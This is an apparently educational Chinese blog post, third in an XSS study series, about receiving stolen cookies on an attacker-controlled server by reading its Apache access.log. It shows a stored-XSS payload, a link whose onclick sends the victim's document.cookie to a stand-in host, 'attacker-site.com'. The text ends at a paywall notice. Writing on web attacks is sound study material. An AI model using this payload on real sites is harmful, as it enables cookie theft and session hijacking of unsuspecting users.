XSS学习笔记（三）-XSS平台的搭建

1_f0rm4t3d

于 2014-04-21 16:39:25 发布

阅读量5.4k

点赞数

分类专栏： Web渗透学习信安学习文章标签： XSS XSS平台

本文链接：https://blog.youkuaiyun.com/l_f0rm4t3d/article/details/24261177

版权

本文介绍了如何通过Apache access.log来搭建XSS平台，利用该方法可以在请求发送后获得3秒延迟，确保远程请求能成功到达XSS平台。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

接着前两篇来的，攻击者可以通过一个普通用户登录进来，然后在输入框中提交以下数据：

<a href=# οnclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>

方法一：Apache access.log

这样根据home.php的过滤条件，如果是admin账户，就会显示含有"美女admin"的列表，然后如果是点击了"美女admin" 的链接，他cookie就可以被收集到我的服务器上（这里是被动式的触发的漏洞，具有一定的猥琐性），搭建的XSS平台一定也有挺多的简单方法，最简单的就是在Apache的access.log中查看，类似的日志是：
172.29.32.182 - - [17/Apr/2014:15:46:18 +0800] "GET /favicon.ico HTTP/1.1" 404 1675
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.11 - - [19/A

最低0.47元/天解锁文章